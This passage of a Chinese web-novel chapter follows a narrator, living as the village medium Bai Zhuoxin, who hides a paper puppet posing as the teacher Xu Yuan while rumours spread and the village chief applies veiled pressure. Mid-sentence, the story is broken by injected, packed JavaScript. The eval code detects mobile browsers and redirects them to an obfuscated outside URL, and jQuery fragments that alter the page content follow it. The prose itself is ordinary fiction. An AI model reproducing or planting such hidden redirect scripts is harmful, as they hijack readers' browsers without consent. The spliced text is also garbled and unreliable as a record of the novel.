我又等了一会儿，才拉开院门。


    门外石阶上，果然放着一只小竹篮。篮子里是几个白面馍，用笼布盖着，还冒着些许热气。旁边是两个煮熟的鸡蛋，蛋壳染成了红色，是本地风俗里给孕妇或病人补身子的“红蛋”。


    我弯腰拎起篮子，转身回院，闩上门。


    拿着篮子上楼，推开房门。


    纸人还站在窗边，保持着那个姿势，一动不动。阳光从窗帘缝隙漏进来，照在它半边脸上，那苍白的肤色在光线下几乎透明，能看见底下纸质的纹理。但只是一瞬间，光影晃动，那纹理又消失了，仿佛刚才只是错觉。


    “可以了。”我说。


    纸人这才动了，转过身，动作有些迟缓地走回床边，坐下。它的“表演”结束了，又变回那个安静、空洞的傀儡。


    我把篮子放在桌上，掀开笼布。馍的麦香味飘出来，混杂着鸡蛋煮熟后特有的、淡淡的硫磺味。我拿起一个馍，掰开，里面是实心的，没有馅。又拿起一个红蛋，在桌沿上磕了磕，剥开壳。蛋白光滑，蛋黄煮得恰到好处，中心还带着一点溏心。


    很用心的吃食。


    可我心里只有一片冰凉。


    我把剥好的蛋放在碗里，推到纸人面前：“吃。”


    纸人低头，看着那颗蛋，然后缓缓伸出手，拿起，凑到嘴边。它的动作很慢，很僵硬，鸡蛋送到唇边，嘴唇张开，咬了一小口，再咀嚼。然后，吞咽。


    它真的在“吃”。


    鸡蛋消失在它嘴里，被某种无形的力量“消化”掉。傀术维持着它的表象，也需要一点点实在的“供奉”，哪怕只是象征性的。这景象本该诡异至极，可对于白濯心来说看多了，竟也麻木了。


    我看着它小口小口、以一种极其缓慢而精确的方式“吃完”了那颗蛋，又把剩下的馍掰碎，一点一点“咽”下去。整个过程无声无息，只有纸页偶尔摩擦的细微声响，在寂静的房间里被无限放大。


    等它“吃”完，我收起碗，把篮子放到墙角。


    “躺下，休息。”我说。


    纸人顺从地躺下，拉好被子，闭上眼睛。很快，它的呼吸再次变得均匀，胸口规律起伏，仿佛真的陷入了沉睡。


    我坐回椅子上，看着窗外。


    天色一点点暗下来。下午的阳光斜斜地照进来，在墙壁上投出窗棂菱形的影子。那些影子随着太阳西移，慢慢拉长，变形，最终消失在墙角。


    黄昏降临。


    村子里的声音多了起来。收工的农人扛着锄头走过田埂的脚步声，老妇人呼唤孩子回家吃饭的吆喝声，狗吠声，锅铲碰撞的叮当声……各种声音交织在一起，是人间最寻常的烟火气。


    可这烟火气，隔着一道院墙，仿佛来自另一个世界。


    我点起油灯。昏黄的光晕在房间里扩散开，将我和纸人的影子投在墙壁上，两个影子挨得很近，几乎重叠。我看着墙壁上那个属于纸人的、随着灯光摇曳而微微晃动的黑影，忽然想起白濯心记忆里的某个片段。


    那也是一个黄昏，她独自一人，面对着一个刚刚“点睛”的纸人。那个纸人是替一个早夭的孩子做的，孩子的父母求她，想让纸人陪着孩子下葬，免得孩子在地下孤单。白濯心点了睛，纸人“活”了过来，在昏暗的房间里，对着孩子的父母，喊了一声“爹，娘”。


    那对父母当时就哭了，哭得撕心裂肺。


    可白濯心知道，那一声呼唤里，没有灵魂，没有情感，只有她灌注进去的一点傀术，和模仿来的、孩子生前的语调。


    那时她在想什么？


    记忆很模糊，只留下一种感觉。是深深的疲惫，和无边无际的荒诞。


    就像此刻的我。


    不，或许不是“我”。是“白濯心”，也是“我”。我们的界限，在这日复一日的伪装、等待、恐惧中，变得越来越模糊。有时候，我甚至分不清，那些涌上心头的念头，那些下意识的反应，究竟来自哪里。


    是这具身体的记忆，还是本能？


    还是属于“我”的意志，正在被这个身份、这个处境一点点同化、吞噬？


    我不知道。


    油灯爆了个灯花，噼啪一声脆响，将我飘远的思绪拉了回来。灯焰晃了晃，房间里的光影随之扭曲了一瞬。墙上的影子张牙舞爪，又恢复原状。


    夜晚，又一次降临了。


    第一天，在提心吊胆中过去。


    第二天，第三天，也在类似的煎熬中，缓慢流淌。


    我几乎不出门。除了每天清晨，必须去院门口拿“供奉”来的食物。有时候是张广茂派人送来，有时候是张勤奋他娘偷偷放在门口。东西不多，但足以维持我和纸人最基本的生存。米，面，偶尔有点青菜，或者一小块腊肉。那条鱼在盆里活了两天，第三天早上翻了肚皮，我把它收拾了，熬了锅鱼汤，汤色奶白，撒了点盐，我和纸人分着“喝”了。


    纸人越来越“像”一个人。


    它学会了在房间里慢慢走动，步伐虽然依旧有些僵硬，但已经不会撞到家具。它学会了在窗边站立，看着院子，一看就是小半天。我甚至教它说了几句话，简单的回应，比如“嗯”、“好”、“知道了”，语调模仿着许媛说话时那种轻柔的、带着一点点怯懦的感觉。


    它学得很快。


    快到让我心惊。


    第四天下午，我坐在堂屋门槛上剥豆子。那是张勤奋他娘早上送来的，一小把青豆，很嫩。纸人坐在我身后的阴影里，一动不动，像一尊安静的雕塑。


    院墙外传来脚步声，还有压低的说话声。


    是村里两个男人，大概是结伴去田边干完农活回来。他们的声音隔着院墙飘进来，断断续续，听不真切。


    “……真在白婆子那儿？”


    “可不是嘛，都四天了……”


    “求子？啧啧，张勤奋那傻样……”


    “谁知道呢，说不定是借口……”


    “我听说啊，那天晚上，许老师从白婆子屋里出来，脸白得跟纸似的，眼神直勾勾的……”


    “真的假的？”


    “我当时就在人群里，看得真真儿的！你说，别是中了什么邪吧？”


    “哎呀，可不敢胡说……”


    声音渐渐远去。


    我捏着豆荚的手指，无意识地收紧，指甲掐进豆荚里，渗出绿色的汁液，粘在指腹上，冰凉黏腻。


    谣言开始了。


    比我想象的还要快，还要恶毒。


    他们不在乎许媛为什么“求子”，不在乎她经历了什么，只在乎这个谈资够不够新鲜，够不够惊悚。一个嫁进村里的女老师，偷偷跑到神婆家里“求子”，出来时“脸白如纸，眼神直勾勾”。多么好的故事素材，足以让他们在茶余饭后，翻来覆去咀嚼好多天。


    而每一次咀嚼，都是在白濯心，也就是“我”，本就摇摇欲坠的“威信


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103582|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”上，再敲下一根钉子。


    我回头，看了纸人一眼。


    它依旧安静地坐着，低着头，双手放在膝盖上，姿态是标准的小媳妇模样。阳光从门外斜射进来，落在它脚边，却照不到它身上。它整个隐在堂屋的昏暗里，只有侧脸的轮廓，在阴影中勾勒出一条柔和的、却毫无生气的曲线。


    它在“听”吗？


    它能“理解”那些话背后的恶意吗？


    我不知道。或许它只是接收到了“外面有声音”这个信息，然后按照“设定”，保持安静。


    我低下头，继续剥豆子。豆子一颗颗从豆荚里滚出来，落在陶碗里，发出清脆的响声。这声音规律，单调，让我纷乱的心绪，稍微平静了一点点。


    第五天，张广茂又来了。


    这次是他一个人，手里没拿东西，脸上依旧挂着那种无懈可击的笑容。他站在院门外，没有要进来的意思，只是隔着门板和我说话。


    “白婆婆，这几天，许老师还好吧？”他问，语气寻常得像是在问天气。


    “还好。”我简短地回答。


    “法事还顺利？”


    “顺利。”


    “那就好，那就好。”他搓了搓手，目光往院子里瞟，似乎想透过堂屋的门，看到里面的情形，“我就是来问问，有什么需要的，尽管开口。村里都盼着许老师能早点如愿，给张家添丁进口呢。”


    话说得漂亮，可那眼神，那语气，分明是在试探。


    “有心了。”我说，“没什么需要的。法事讲究心诚则灵，外界打扰越少越好。”


    “那是，那是。”张广茂连连点头，却并不离开，反而往前凑了凑，压低声音，“白婆婆，有件事，不知你听说没有。”


    “什么事？”


    “村里……最近有些闲话。”他皱着眉，做出为难的样子，“有些人在乱嚼舌根，说许老师找你……不太好。说她一个有文化的人却因为你信了这些偏门，以后教坏了小孩该怎么办。你说，这传出去，多难听。对你名声也不好，是不是？”


    来了。


    我心底冷笑。先放谣言，再用谣言来施压。老狐狸的算盘，打得真精。


    “闲话？”我抬眼，看着他，“我怎么没听说。”


    “哎，就是些不着调的。”张广茂摆摆手，但眼神锐利，“他们说得有鼻子有眼的，我也是怕，万一传到外村，或者传到镇上领导耳朵里，影响不好。毕竟，许老师是公家的人，是在咱们村小学教书的。”


    他把“公家的人”、“镇上领导”这几个字，咬得格外重。


    这是在威胁。用许媛的身份，用可能来自外界的干预。他不过是想人赶紧回去后，捆缚住她的一生，哪怕是外面的人来了，看见生米煮成熟饭，那时人都已经疯了，也解释不了任何。


    “村长多虑了。”我声音平静，听不出情绪，“法事期间，精气神损耗大，人显得疲惫些，精神不济，是正常的。等法事做完，调养几天，自然就好了。那些人的话，也能信？”


    张广茂盯着我，似乎想从我脸上找出一点心虚的痕迹。但我脸上除了疲惫，什么都没有。这倒不是装的，接连几天的精神紧绷，是真的耗神。


    “但愿如此。”他终于移开目光，笑了笑，但那笑意未达眼底，“那我就放心了。白婆婆你多费心，七天后，我来接人。”


    “嗯。”


    他走了。背影消失在村道拐角。